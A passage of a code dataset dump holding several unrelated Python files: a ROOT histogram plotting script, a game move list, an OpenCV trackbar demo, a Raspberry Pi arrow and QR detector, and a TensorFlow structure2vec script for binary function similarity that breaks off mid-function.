ROOT.TH1F(\"plot5\",\"\",100,0,1)\nfor i in LQ140_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist5.Fill(i,sigma5)\n hist5.SetMinimum(1E-11)\n hist5.SetMaximum(1E+4)\n hist5.SetMarkerStyle(ROOT.kFullCircle)\n hist5.SetMarkerColor(kBlack)\n hist5.SetTitle(\"\")\n hist5.SetXTitle(\"Probability\")\n hist5.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\nhist5.Draw(\"Same\")\n\n\nhist6 = ROOT.TH1F(\"plot6\",\"\",100,0,1)\nfor i in LQ170_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist6.Fill(i,sigma6)\n hist6.SetMinimum(1E-11)\n hist6.SetMaximum(1E+4)\n hist6.SetMarkerStyle(ROOT.kFullCircle)\n hist6.SetMarkerColor(kAzure)\n hist6.SetTitle(\"\")\n hist6.SetXTitle(\"Probability\")\n hist6.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\n\nhist6.Draw(\"Same\")\n\n\n\nhist7 = ROOT.TH1F(\"plot7\",\"\",100,0,1)\nfor i in LQ200_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist7.Fill(i,sigma7)\n hist7.SetMinimum(1E-11)\n hist7.SetMaximum(1E+4)\n hist7.SetMarkerStyle(ROOT.kFullCircle)\n hist7.SetMarkerColor(kGray)\n hist7.SetTitle(\"\")\n hist7.SetXTitle(\"Probability\")\n hist7.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\n\nhist7.Draw(\"Same\")\n\n\nhist8 = ROOT.TH1F(\"plot8\",\"\",100,0,1)\nfor i in LQ230_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist8.Fill(i,sigma8)\n hist8.SetMinimum(1E-11)\n hist8.SetMaximum(1E+4)\n hist8.SetMarkerStyle(ROOT.kFullCircle)\n hist8.SetMarkerColor(kMagenta)\n hist8.SetTitle(\"\")\n hist8.SetXTitle(\"Probability\")\n hist8.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\n\nhist8.Draw(\"Same\")\n\n\nhist_st1 = ROOT.TH1F(\"plotst1\",\"\",100,0,1)\nfor i in ST1_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist_st1.Fill(i)\n hist_st1.SetMinimum(1E-11)\n hist_st1.SetMaximum(1E+4)\n hist_st1.SetMarkerStyle(ROOT.kFullCircle)\n hist_st1.SetMarkerColor(kGray)\n hist_st1.SetTitle(\"\")\n hist_st1.SetXTitle(\"Probability\")\n hist_st1.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\n\n\nhist_st2 = ROOT.TH1F(\"plotst2\",\"\",100,0,1)\nfor i in ST2_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist_st2.Fill(i)\n hist_st2.SetMinimum(1E-11)\n hist_st2.SetMaximum(1E+4)\n hist_st2.SetMarkerStyle(ROOT.kFullCircle)\n hist_st2.SetMarkerColor(kGray)\n hist_st2.SetTitle(\"\")\n hist_st2.SetXTitle(\"Probability\")\n hist_st2.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\n\nhist_st3 = ROOT.TH1F(\"plotst3\",\"\",100,0,1)\nfor i in ST3_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist_st3.Fill(i)\n hist_st3.SetMinimum(1E-11)\n hist_st3.SetMaximum(1E+4)\n hist_st3.SetMarkerStyle(ROOT.kFullCircle)\n hist_st3.SetMarkerColor(kGray)\n hist_st3.SetTitle(\"\")\n hist_st3.SetXTitle(\"Probability\")\n hist_st3.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\n\nhist_st4 = ROOT.TH1F(\"plotst4\",\"\",100,0,1)\nfor i in ST4_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist_st4.Fill(i)\n hist_st4.SetMinimum(1E-11)\n hist_st4.SetMaximum(1E+4)\n hist_st4.SetMarkerStyle(ROOT.kFullCircle)\n hist_st4.SetMarkerColor(kGray)\n hist_st4.SetTitle(\"\")\n hist_st4.SetXTitle(\"Probability\")\n hist_st4.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\n\nhist_ww = ROOT.TH1F(\"plotww\",\"\",100,0,1)\nfor i in WW_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist_ww.Fill(i)\n hist_ww.SetMinimum(1E-11)\n hist_ww.SetMaximum(1E+4)\n hist_ww.SetMarkerStyle(ROOT.kFullCircle)\n hist_ww.SetMarkerColor(kGray)\n hist_ww.SetTitle(\"\")\n hist_ww.SetXTitle(\"Probability\")\n hist_ww.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\n\nhist_zz = ROOT.TH1F(\"plotzz\",\"\",100,0,1)\nfor i in ZZ_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist_zz.Fill(i)\n hist_zz.SetMinimum(1E-11)\n hist_zz.SetMaximum(1E+4)\n hist_zz.SetMarkerStyle(ROOT.kFullCircle)\n hist_zz.SetMarkerColor(kGray)\n hist_zz.SetTitle(\"\")\n hist_zz.SetXTitle(\"Probability\")\n hist_zz.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\nhist_wz = ROOT.TH1F(\"plotwz\",\"\",100,0,1)\nfor i in WZ_arr_wt:\n ROOT.gStyle.SetOptStat(0)\n hist_wz.Fill(i)\n hist_wz.SetMinimum(1E-11)\n hist_wz.SetMaximum(1E+4)\n hist_wz.SetMarkerStyle(ROOT.kFullCircle)\n hist_wz.SetMarkerColor(kGray)\n hist_wz.SetTitle(\"\")\n hist_wz.SetXTitle(\"Probability\")\n hist_wz.SetYTitle(\"#sigma / N_{events}^{gen}\")\n\n\nhist_fn = ROOT.TH1F(\"plotfn\",\"\",100,0,1)\nhist_fn.Add(hist_st1,wst1)\nhist_fn.Add(hist_st2,wst2)\nhist_fn.Add(hist_st3,wst3)\nhist_fn.Add(hist_st4,wst4)\nhist_fn.SetLineColor(kBlue)\nhist_fn.SetLineWidth(4)\nhist_fn.Draw(\"Same\")\nhist_db = ROOT.TH1F(\"plotdb\",\"\",100,0,1)\nhist_db.Add(hist_ww,www)\nhist_db.Add(hist_wz,wwz)\nhist_db.Add(hist_zz,wzz)\nhist_db.SetLineColor(kTeal)\nhist_db.SetLineWidth(4)\nhist_db.Draw(\"Same\")\nlegend.SetNColumns(2)\nlegend.SetTextSize(0.02)\nlegend.AddEntry(hist_fn,\"ST\",\"f\")\nlegend.AddEntry(hist_db,\"Diboson\",\"f\")\nlegend.AddEntry(hist,\"DY\",\"f\")\nlegend.AddEntry(hist0,\"TTbar\",\"f\")\nlegend.AddEntry(hist2,\"LQ(m = 500)\",\"lep\")\nlegend.AddEntry(hist3,\"LQ(m = 800)\",\"lep\")\nlegend.AddEntry(hist4,\"LQ(m = 1100)\",\"lep\")\nlegend.AddEntry(hist5,\"LQ(m = 1400)\",\"lep\")\nlegend.AddEntry(hist6,\"LQ(m = 1700)\",\"lep\")\nlegend.AddEntry(hist7,\"LQ(m = 2000)\",\"lep\")\nlegend.AddEntry(hist8,\"LQ(m = 2300)\",\"lep\")\nlegend.SetBorderSize(0)\nlegend.Draw()\nc1.Print(\"/work/yverma/DNN_SLQ/Binary_reconst.png\")\n","sub_path":"DeepLQ Classification/Binary Classification/Binary_output_dist.py","file_name":"Binary_output_dist.py","file_ext":"py","file_size_in_byte":10557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"327521144","text":"from battle.Moves import moves\nfrom battle.pokeTypeList import *\n#all moves in one place\n#moves(name, power, type, accuracy, pp, class)\n\nbite = moves('bite', 60, dark, 100, 25, 'physical')\nsurf = moves('surf', 90, water, 100, 15, 'special')\noutrage = moves('outrage', 120, dragon, 100, 10, 'physical')\nhyperbeam = moves('hyper beam', 150, normal, 90, 5, 'special')\ndragonclaw = moves('dragon claw', 80, dragon, 100, 15, 'physical')\nflamethrower = moves('flamethrower', 90, fire, 100, 15, 'special')\nmegapunch = moves('mega punch', 80, normal, 85, 20, 'physical')\naerialace = moves('aerial ace', 60, flying, 100, 20, 'physical')\nember = moves('ember', 40, fire, 100, 25, 'special')\nrockslide = moves('rock slide', 75, rock, 90, 10, 'physical')\nmegakick = moves('mega kick', 120, normal, 75, 5, 'physical')\ninferno = moves('inferno', 100, fire, 50, 5, 'special')\nthundershock = moves('thunder shock', 40, electric, 100, 30, 'special')\nbrickbreak = moves('brick break', 75, fighting, 100, 15, 'physical')\nthief = moves('thief', 60, dark, 100, 25, 'physical')\nthunderbolt = moves('thunderbolt', 90, electric, 100, 15, 'special')\n#bulbasaur\ntackle = moves('tackle', 40, normal, 100, 35, 'physical')\nsolarbeam = moves('solar beam', 120, grass, 100, 10, 'special')\nvinewhip = moves('vine whip', 45, grass, 100, 25, 'physical')\nbodyslam = moves('body slam', 85, normal, 100, 15, 'physical')\n#squirtle\nhydropump = moves('hydro pump', 110, water, 80, 5, 'physical')\nwatergun = moves('water gun', 40, water, 100, 20, 'physical')\nskullbash = moves('skull bash', 130, normal, 100, 10, 'physical')\n\n#introbot\narmario = moves('armário', 90, introcomp, 100, 5, 'physical')\naula04 = moves('aula 04', 130, introcomp, 100, 5, 'special')\nfeedback = moves('feedback', 150, introcomp, 100, 5, 'special')\nbeberagua = moves('beber água', 0, introcomp, 100, 5, 'special')","sub_path":"battle/movesList.py","file_name":"movesList.py","file_ext":"py","file_size_in_byte":1848,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"249042712","text":"import cv2\nimport numpy as np\ndef nothing(x):\n print(x)\n \nimg=np.zeros((990,1890,3),np.uint8)\ncv2.namedWindow('win')\ncv2.createTrackbar('B','win',0,255,nothing)\ncv2.createTrackbar('G','win',0,255,nothing)\ncv2.createTrackbar('R','win',0,255,nothing)\ncv2.createTrackbar('switch','win',0,1,nothing)\n\nswitch='O : OFF\\n 1 : ON'\nwhile(1):\n cv2.imshow('win',img)\n b=cv2.getTrackbarPos('B','win')\n g=cv2.getTrackbarPos('G','win')\n r=cv2.getTrackbarPos('R','win')\n s=cv2.getTrackbarPos('switch','win')\n if(s==1):\n img[:]=[b,g,r]\n else:\n img[:]=0\n k=cv2.waitKey(1)\n if(k==27):\n break\ncv2.destroyWindow('win')\n","sub_path":"trackbar.py","file_name":"trackbar.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"88856985","text":"import imutils\nimport cv2\nimport time\nimport numpy as np\nimport math\nimport pyzbar.pyzbar as pyzbar\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nfrom Shapes import Shapes\n\nclass CameraManager():\n\n def __init__(self):\n self.camera = PiCamera()\n self.camera.resolution = (640, 480)\n self.camera.framerate = 32\n self.rawCapture = PiRGBArray(self.camera)\n\n #======================Helper function for displaying of current frame==================================\n def displayFrame(self):\n #Show the processed camera feed\n cv2.imshow(\"Camera Live Feed\", self.currentFrame)\n cv2.waitKey(1)\n\n # clear the stream in preparation for the next frame\n self.rawCapture.truncate(0)\n\n #======================Helper function for drawing of shapes and labels==================================\n\n def drawShapes(self, shape):\n\n label = shape.getType if shape.getOrientation() == None else shape.getType() + \": \" + shape.getOrientation()\n c = shape.getContour()\n cv2.drawContours(self.currentFrame, [c], -1, (0, 255, 0), 3)\n cv2.putText(self.currentFrame, label, (c[0][0][0] - 100, c[0][0][1] - 35),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 0) , 1)\n\n #======================Helper function for range checking==================================================\n\n def checkInRange(self, value, lower, upper):\n if lower <= value <= upper :\n return True\n return False\n\n #======================Convert the gradient angle of two lines of a point to it's potential orientation==================================\n #The angle of the two lines of a point will determine if that particular point is a tip of an arrow. The orientation will depend on the\n #matching to a pre-calculated pair of angles as shown in the table below:\n\n #Angle 1 Angle 2 Orientation\n #-------------------------------------\n #135 -135 Left\n #-45 -45 Right\n #-135 -45 Up\n \n\n #Reference: https://stackoverflow.com/questions/22876351/opencv-2-4-8-python-determining-orientation-of-an-arrow\n\n def angleToTipOrientation(self, anglePair):\n\n #Tolerence value for inaccracy in angle calculations\n tolerance = 10;\n\n if self.checkInRange(anglePair[0], 135-tolerance, 135+tolerance) and self.checkInRange(anglePair[1], -(135+tolerance), -(135-tolerance)):#135 && -135\n return \"Left\"\n elif self.checkInRange(anglePair[0], -(45+tolerance), -(45-tolerance) ) and self.checkInRange(anglePair[1], 45-tolerance, 45+tolerance):#-45 && 45\n return \"Right\"\n elif self.checkInRange(anglePair[0], -(135+tolerance), -(135-tolerance)) and self.checkInRange(anglePair[1], -(45+tolerance), -(45-tolerance)):#-135 && -45\n return \"Up\"\n\n else: return None\n\n #======================Find and decode QR in image==================================\n #Function will return a list of found QR/Barcode objects in the current image frame\n\n def decodeQR(self) :\n # Find barcodes and QR codes\n decodedObjects = pyzbar.decode(self.currentFrame)\n return decodedObjects\n\n #======================Display QR found in image (if any)==================================\n #Function will take in the list of found QR/Barcode and draw the outline of them on the\n #current image frame along with its associated data.\n\n # Display barcode and QR code location\n def drawQR(self, decodedObjects):\n\n # Loop over all decoded objects\n for decodedObject in decodedObjects:\n points = decodedObject.polygon\n\n # If the points do not form a quad, find convex hull\n if len(points) > 4 :\n hull = cv2.convexHull(np.array([point for point in points], dtype=np.float32))\n hull = list(map(tuple, np.squeeze(hull)))\n else :\n hull = points;\n\n # Number of points in the convex hull\n n = len(hull)\n\n # Draw the convext hull\n for j in range(0,n):\n cv2.line(self.currentFrame, hull[j], hull[ (j+1) % n], (255,0,0), 3)\n\n cv2.putText(self.currentFrame, decodedObject.data, (hull[j][0] - 100, hull[j][1] - 25),\n cv2.FONT_HERSHEY_SIMPLEX, 0.2, (255,0,0) , 1)\n\n #======================Determine if contour is an arrow============================\n #Function will return arrow orientation if any is found else it will return None\n\n def findArrow(self, c, approx):\n potentialArrowOrient = None\n rightAngleCounter = 0;\n\n if len(approx) == 7:\n\n for index, m in enumerate(approx):\n\n if index == 0:\n line1Subtract = np.subtract(m, approx[6])\n line2Subtract = np.subtract(m, approx[1])\n elif index == 6:\n line1Subtract = np.subtract(m, approx[5])\n line2Subtract = np.subtract(m, approx[0])\n else:\n line1Subtract = np.subtract(m, approx[index -1])\n line2Subtract = np.subtract(m, approx[index + 1])\n angle1 = math.atan2(line1Subtract[0][1], line1Subtract[0][0])*180/np.pi\n angle2 = math.atan2(line2Subtract[0][1], line2Subtract[0][0])*180/np.pi\n tipOrientation = self.angleToTipOrientation((angle1,angle2))\n potentialArrowOrient = potentialArrowOrient if tipOrientation == None else tipOrientation\n ptAngle = abs(angle1 + angle2)\n\n if abs(ptAngle) < 25 or abs(ptAngle - 90) < 25 or abs(ptAngle - 180) < 25 or abs(ptAngle - 270) < 25 :\n rightAngleCounter+=1\n\n\n if(rightAngleCounter == 5 and potentialArrowOrient != None):\n # self.drawShapes(c, potentialArrowOrient, approx[0][0])\n # if cv2.contourArea(c) > 12000:\n return potentialArrowOrient\n\n return None\n\n #======================Finding shapes in image frame============================\n #Function will return a list of shapes found in image frame\n\n def findShapes(self):\n\n # Prep return value, default to None\n shapes = []\n # load the image, convert it to grayscale, blur it slightly,\n # and threshold it\n gray = cv2.cvtColor(self.currentFrame, cv2.COLOR_BGR2GRAY)\n blurred = cv2.GaussianBlur(gray, (5, 5), 0)\n thresh = cv2.threshold(blurred, 60, 255, cv2.THRESH_BINARY_INV)[1]#60\n\n # find contours in the thresholded image\n cnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n for index, c in enumerate(cnts):\n\n peri = cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, 0.04 * peri, True)#0.04\n length = len(approx)\n if( length == 7):\n arrowOrient = self.findArrow(c, approx)\n if arrowOrient != None:\n shapes.append(Shapes(\"Arrow\", c, arrowOrient))\n\n # elif(length == 3 and cv2.contourArea(c) > 200):\n # shape = Shapes(\"Triangle\", c)\n # elif(length == 0 and cv2.contourArea(c) > 200):\n # shape = Shapes(\"Circle\", c)\n\n return shapes\n\n #============================The camera application loop that will run in a thread========================================\n #Function will start capturing video and buffer each frame for processing didate by user application\n\n def captureFootage(self, camApp):\n # capture frames from the camera\n\n for frame in self.camera.capture_continuous(self.rawCapture, format=\"bgr\", use_video_port=True):\n\n #buffer current frame\n self.currentFrame = frame.array\n #Run user defined camera application\n camApp()\n","sub_path":"CameraManager.py","file_name":"CameraManager.py","file_ext":"py","file_size_in_byte":7856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"396400820","text":"# _*_ coding: utf-8 _*_\n\nimport tensorflow as tf\nimport numpy as np\nimport csv\nimport os\nimport time\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport numba\nimport itertools\n# =========== global parameters ===========\n\nT = 5 # iteration\nN = 2 # embedding_depth\nD = 8 # dimensional\nP = 64 # embedding_size\nB = 10 # mini-batch\nlr = 0.0001 # learning_rate\n# MAX_SIZE = 0 # record the max number of a function's block\nepochs = 100\nis_debug = True\n\ndata_folder=\"./features/\"\nINDEX = data_folder + \"index_test.csv\"\nPREFIX = \"\"\ntrain_file = os.path.join(data_folder, \"train_test\"+PREFIX+\".csv\")\nvalid_file = os.path.join(data_folder, \"vaild\"+PREFIX+\".csv\")\ntest_file = os.path.join(data_folder, \"test\"+PREFIX+\".csv\")\n\nTRAIN_TFRECORD=\"TFrecord/train_gemini_data_\"+\"100000\"+PREFIX+\".tfrecord\"\nTEST_TFRECORD=\"TFrecord/test_gemini_data_\"+\"100000\"+PREFIX+\".tfrecord\"\nVALID_TFRECORD=\"TFrecord/valid_gemini_data_\"+\"100000\"+PREFIX+\".tfrecord\"\n\nprint (TRAIN_TFRECORD)\n\n# ==================== load the function pairs list ===================\n# 1. load_dataset() load the pairs list for learning, which are\n# in train.csv, valid.csv, test.csv .\n# 1-1. load_csv_as_pair() process each csv file.\n# =====================================================================\ndef load_dataset():\n \"\"\" load the pairs list for training, testing, validing\n \"\"\"\n train_pair, train_label = load_csv_as_pair(train_file)\n valid_pair, valid_label = load_csv_as_pair(valid_file)\n test_pair, test_label = load_csv_as_pair(test_file)\n\n return train_pair, train_label, valid_pair, valid_label, test_pair, test_label\n\ndef load_csv_as_pair(pair_label_file):\n \"\"\" load each csv file, which record the pairs list for learning and its label ( 1 or -1 )\n csv file : uid, uid, 1/-1 eg: 1.1.128, 1.4.789, -1\n pair_dict = {(uid, uid) : -1/1}\n \"\"\"\n pair_list = []\n label_list = []\n with open(pair_label_file, \"r\") as fp:\n pair_label = csv.reader(fp)\n for line in pair_label:\n pair_list.append([line[0], line[1]])\n label_list.append(int(line[2]))\n\n return pair_list, label_list\n\n\n# ====================== load block info and cfg ======================\n# 1. load_all_data() load the pairs list for learning, which are\n# in train.csv, valid.csv, test.csv .\n# 1-1. load_block_info()\n# 1-2. load_graph()\n# =====================================================================\ndef load_all_data():\n \"\"\" load all the real data, including blocks' featrue & functions' cfg using networkx\n uid_graph = {uid: nx_graph}\n feature_dict = {identifier : [[feature_vector]...]}, following the block orders\n \"\"\"\n uid_graph = {} #保存cfg图,id为版本号+基快地址\n feature_dict = {} #各个版本的所有block特征,id的版本号,值为block集合{基地址:特征}\n # read the direcory list and its ID\n # traversal each record to load every folder's data\n with open(INDEX, \"r\") as fp:\n for line in csv.reader(fp):\n # index.csv : folder name, identifier\n # eg: openssl-1.0.1a_gcc_4.6_dir, 1.1\n\n # load_block_info: save all the blocks' feature vector into feature_dict;\n # return current file's block number saved into block_num;\n # return each function's block id list saved into cur_func_block_dict.\n block_num, cur_func_block_dict = load_block_info(os.path.join(data_folder, line[0], \"block_info.csv\"),\n feature_dict, line[1])\n\n if is_debug:\n print (\"load cfg ...\")\n # load every function's cfg\n load_graph(os.path.join(data_folder, line[0], \"adj_info.txt\"), block_num, cur_func_block_dict, line[1],\n uid_graph)\n\n return uid_graph, feature_dict\n\n\ndef load_block_info(feature_file, feature_dict, uid_prefix):\n \"\"\" load all the blocks' feature vector into feature dictionary.\n the two returned values are for next step, loading graph.\n return the block numbers —— using to add the single node of the graph\n return cur_func_blocks_dict —— using to generate every function's cfg(subgraph)\n \"\"\"\n feature_dict[str(uid_prefix)] = []#版本号:特征矩阵\n cur_func_blocks_dict = {}#基快地址->基快调用地址\n\n block_uuid = []#基快地址\n line_num = 0\n block_feature_dic = {}#基快地址:[特征矩阵(指令数量)]\n with open(feature_file, \"r\") as fp:\n if is_debug:\n print (feature_file)\n for line in csv.reader(fp):\n line_num += 1\n # skip the topic line\n #if line_num == 1:\n # continue\n if line[0] == \"\":\n continue\n block_uuid.append(str(line[0]))\n # read every bolck's features\n block_feature = [float(x) for x in (line[4:13])]\n del block_feature[6]\n block_feature_dic.setdefault(str(line[0]),block_feature)\n\n # record each function's block id.\n # for next step to generate the control flow graph\n # so the root block need be add.\n if str(line[2]) not in cur_func_blocks_dict:\n cur_func_blocks_dict[str(line[2])] = [str(line[0])]\n else:\n cur_func_blocks_dict[str(line[2])].append(str(line[0]))\n feature_dict[str(uid_prefix)].append(block_feature_dic)\n\n return block_uuid, cur_func_blocks_dict\n\n\ndef load_graph(graph_file, block_number, cur_func_blocks_dict, uid_prefix, uid_graph):\n \"\"\" load all the graph as networkx\n \"\"\"\n graph = nx.read_edgelist(graph_file, create_using=nx.DiGraph(), nodetype=str)\n\n # add the missing vertexs which are not in edge_list\n for i in block_number:\n if i not in graph.nodes():\n graph.add_node(i)\n\n for func_id in cur_func_blocks_dict:\n graph_sub = graph.subgraph(cur_func_blocks_dict[func_id])\n uid = uid_prefix + \".\" + str(func_id)\n uid_graph[uid] = graph_sub\n #-----------------------可视化cfg图----------------------\n print('输出网络中的节点...')\n print(graph_sub.nodes())\n print('输出网络中的边...')\n print(graph_sub.edges())\n print('输出网络中边的数目...')\n print(graph_sub.number_of_edges())\n print('输出网络中节点的数目...')\n print(graph_sub.number_of_nodes())\n print('给网路设置布局...')\n pos = nx.shell_layout(graph_sub)\n nx.draw(graph_sub, pos, with_labels=True, node_color='white', edge_color='red', node_size=400, alpha=0.5)\n plt.show()\n\n# =============== convert the real data to training data ==============\n# 1. construct_learning_dataset() combine the dataset list & real data\n# 1-1. generate_adj_matrix_pairs() traversal list and construct all the matrixs\n# 1-1-1. convert_graph_to_adj_matrix() process each cfg\n# 1-2. generate_features_pair() traversal list and construct all functions' feature map\n# =====================================================================\n\ndef construct_learning_dataset(uid_pair_list):\n \"\"\" Construct pairs dataset to train the model.\n attributes:\n adj_matrix_all store each pairs functions' graph info, (i,j)=1 present i--》j, others (i,j)=0\n features_all store each pairs functions' feature map\n \"\"\"\n print (\" start generate adj matrix pairs...\")\n adj_matrix_all_1, adj_matrix_all_2 = generate_adj_matrix_pairs(uid_pair_list)\n\n print (\" start generate features pairs...\")\n ### !!! record the max number of a function's block\n features_all_1, features_all_2, max_size, num1, num2 = generate_features_pair(uid_pair_list)\n\n return adj_matrix_all_1, adj_matrix_all_2, features_all_1, features_all_2, num1, num2, max_size\n\n\n\ndef generate_adj_matrix_pairs(uid_pair_list):\n \"\"\" construct all the function pairs' cfg matrix.\n \"\"\"\n adj_matrix_all_1 = []\n adj_matrix_all_2 = []\n # traversal all the pairs\n count = 0\n for uid_pair in uid_pair_list:\n if is_debug:\n count += 1\n print (\" %04d martix, [ %s , %s ]\"%(count, uid_pair[0], uid_pair[1]))\n adj_matrix_pair = []\n # each pair process two function\n graph = uid_graph[uid_pair[0]]\n pos = nx.shell_layout(graph)\n nx.draw(graph, pos, with_labels=True, node_color='white', edge_color='red', node_size=400, alpha=0.5)\n plt.show()\n # origion_adj_1 = np.array(nx.convert_matrix.to_numpy_matrix(graph, dtype=float))\n # origion_adj_1.resize(size, size, refcheck=False)\n # adj_matrix_all_1.append(origion_adj_1.tolist())\n adj_arr = np.array(nx.convert_matrix.to_numpy_matrix(graph, dtype=float))\n adj_str = adj_arr.astype(np.string_)\n #扁平化列表\n adj_matrix_all_1.append(\",\".join(str(list(itertools.chain.from_iterable(adj_str)))))\n\n graph = uid_graph[uid_pair[1]]\n # origion_adj_2 = np.array(nx.convert_matrix.to_numpy_matrix(graph, dtype=float))\n # origion_adj_2.resize(size, size, refcheck=False)\n # adj_matrix_all_2.append(origion_adj_2.tolist())\n adj_arr = np.array(nx.convert_matrix.to_numpy_matrix(graph, dtype=float))\n adj_str = adj_arr.astype(np.string_)\n adj_matrix_all_2.append(\",\".join(str(list(itertools.chain.from_iterable(adj_str)))))\n\n return adj_matrix_all_1, adj_matrix_all_2\n\n\n\ndef convert_graph_to_adj_matrix(graph):\n \"\"\" convert the control flow graph as networkx to a adj matrix (v_num * v_num).\n 1 present an edge; 0 present no edge\n \"\"\"\n node_list = graph.nodes()\n adj_matrix = []\n\n # get all the block id in the cfg\n # construct a v_num * v_num adj martix\n for u in node_list:\n # traversal each block's edgd list,to add the\n u_n = graph.neighbors(u)\n neighbors = []\n for tmp in u_n:\n neighbors.append(tmp)\n node_adj = []\n for v in node_list:\n if v in neighbors:\n node_adj.append(1)\n else:\n node_adj.append(0)\n adj_matrix.append(node_adj)\n # print adj_matrix\n return adj_matrix\n\n\n\ndef generate_features_pair(uid_pair_list):\n \"\"\" Construct each function pairs' block feature map.\n \"\"\"\n node_vector_all_1 = []\n node_vector_all_2 = []\n num1 = []\n num2 = []\n node_length = []\n # traversal all the pairs\n count = 0\n for uid_pair in uid_pair_list:\n if is_debug:\n count += 1\n print (\" %04d feature, [ %s , %s ]\"%(count, uid_pair[0], uid_pair[1]))\n node_vector_pair = []\n # each pair process two function\n uid = uid_pair[0]\n node_list = uid_graph[uid].nodes()\n uid_prefix = uid.rsplit('.', 1)[0] # 从右边第一个'.'分界,分成两个字符串 即 identifier, function_id\n node_vector = []\n for node in node_list:\n node_vector.append(feature_dict[str(uid_prefix)][0][node])\n node_length.append(len(node_vector))\n num1.append(len(node_vector))\n node_arr = np.array(node_vector)\n node_str = node_arr.astype(np.string_)\n node_vector_all_1.append(\",\".join(str(list(itertools.chain.from_iterable(node_str)))))\n\n uid = uid_pair[1]\n node_list = uid_graph[uid].nodes()\n uid_prefix = uid.rsplit('.', 1)[0] # 从右边第一个'.'分界,分成两个字符串 即 identifier, function_id\n node_vector = []\n for node in node_list:\n node_vector.append(feature_dict[str(uid_prefix)][0][node])\n node_length.append(len(node_vector))\n num2.append(len(node_vector))\n node_arr = np.array(node_vector)\n node_str = node_arr.astype(np.string_)\n node_vector_all_2.append(\",\".join(str(list(itertools.chain.from_iterable(node_str)))))\n\n num1_re = np.array(num1)\n num2_re = np.array(num2)\n #num1_re = num1_arr.astype(np.string_)\n #num2_re = num2_arr.astype(np.string_)\n #(100000)(100000)()(100000,)(100000,)\n return node_vector_all_1, node_vector_all_2, np.max(node_length),num1_re,num2_re\n\n # =============== convert the real data to training data ==============\n # 1. construct_learning_dataset() combine the dataset list & real data\n # 1-1. generate_adj_matrix_pairs() traversal list and construct all the matrixs\n # 1-1-1. convert_graph_to_adj_matrix() process each cfg\n # 1-2. generate_features_pair() traversal list and construct all functions' feature map\n # =====================================================================\n \"\"\" Parameter P = 64, D = 8, T = 7, N = 2, B = 10\n X_v = D * 1 <---> 8 * v_num * 10\n W_1 = P * D <---> 64* 8 W_1 * X_v = 64*1\n mu_0 = P * 1 <---> 64* 1\n P_1 = P * P <---> 64*64\n P_2 = P * P <---> 64*64\n mu_2/3/4/5 = P * P <---> 64*1\n W_2 = P * P <---> 64*64\n \"\"\"\n\ndef structure2vec(mu_prev, adj_matrix, x, name=\"structure2vec\"):\n \"\"\" Construct pairs dataset to train the model.\n \"\"\"\n with tf.variable_scope(name, reuse=tf.AUTO_REUSE):\n # n层全连接层 + n-1层激活层\n # n层全连接层 将v_num个P*1的特征汇总成P*P的feature map\n # 初始化P1,P2参数矩阵,截取的正态分布模式初始化 stddev是用于初始化的标准差\n # 合理的初始化会给网络一个比较好的训练起点,帮助逃脱局部极小值(or 鞍点)\n W_1 = tf.get_variable('W_1', [D, P], tf.float32, tf.truncated_normal_initializer(mean=0.0, stddev=0.1))\n P_1 = tf.get_variable('P_1', [P, P], tf.float32, tf.truncated_normal_initializer(mean=0.0, stddev=0.1))\n P_2 = tf.get_variable('P_2', [P, P], tf.float32, tf.truncated_normal_initializer(mean=0.0, stddev=0.1))\n L = tf.reshape(tf.matmul(adj_matrix, mu_prev, transpose_a=True), (-1, P)) # v_num * P\n S = tf.reshape(tf.matmul(tf.nn.relu(tf.matmul(L, P_2)), P_1), (-1, P))\n\n return tf.tanh(tf.add(tf.reshape(tf.matmul(tf.reshape(x, (-1, D)), W_1), (-1, P)), S))\n\ndef structure2vec_net(adj_matrix, x, v_num):\n with tf.variable_scope(\"structure2vec_net\", reuse=tf.AUTO_REUSE):\n B_mu_5 = tf.Variable(tf.zeros(shape = [0, P]), trainable=False)\n for i in range(B):\n cur_size = tf.to_int32(v_num[i][0])\n # test = tf.slice(B_mu_0[i], [0, 0], [cur_size, P])\n mu_0 = tf.reshape(tf.zeros(shape = [cur_size, P]),(cur_size,P))\n adj = tf.slice(adj_matrix[i], [0, 0], [cur_size, cur_size])\n fea = tf.slice(x[i],[0,0], [cur_size,D])\n mu_1 = structure2vec(mu_0, adj, fea) # , name = 'mu_1')\n mu_2 = structure2vec(mu_1, adj, fea) # , name = 'mu_2')\n mu_3 = structure2vec(mu_2, adj, fea) # , name = 'mu_3')\n mu_4 = structure2vec(mu_3, adj, fea) # , name = 'mu_4')\n mu_5 = structure2vec(mu_4, adj, fea) # , name = 'mu_5')\n\n w_2 = 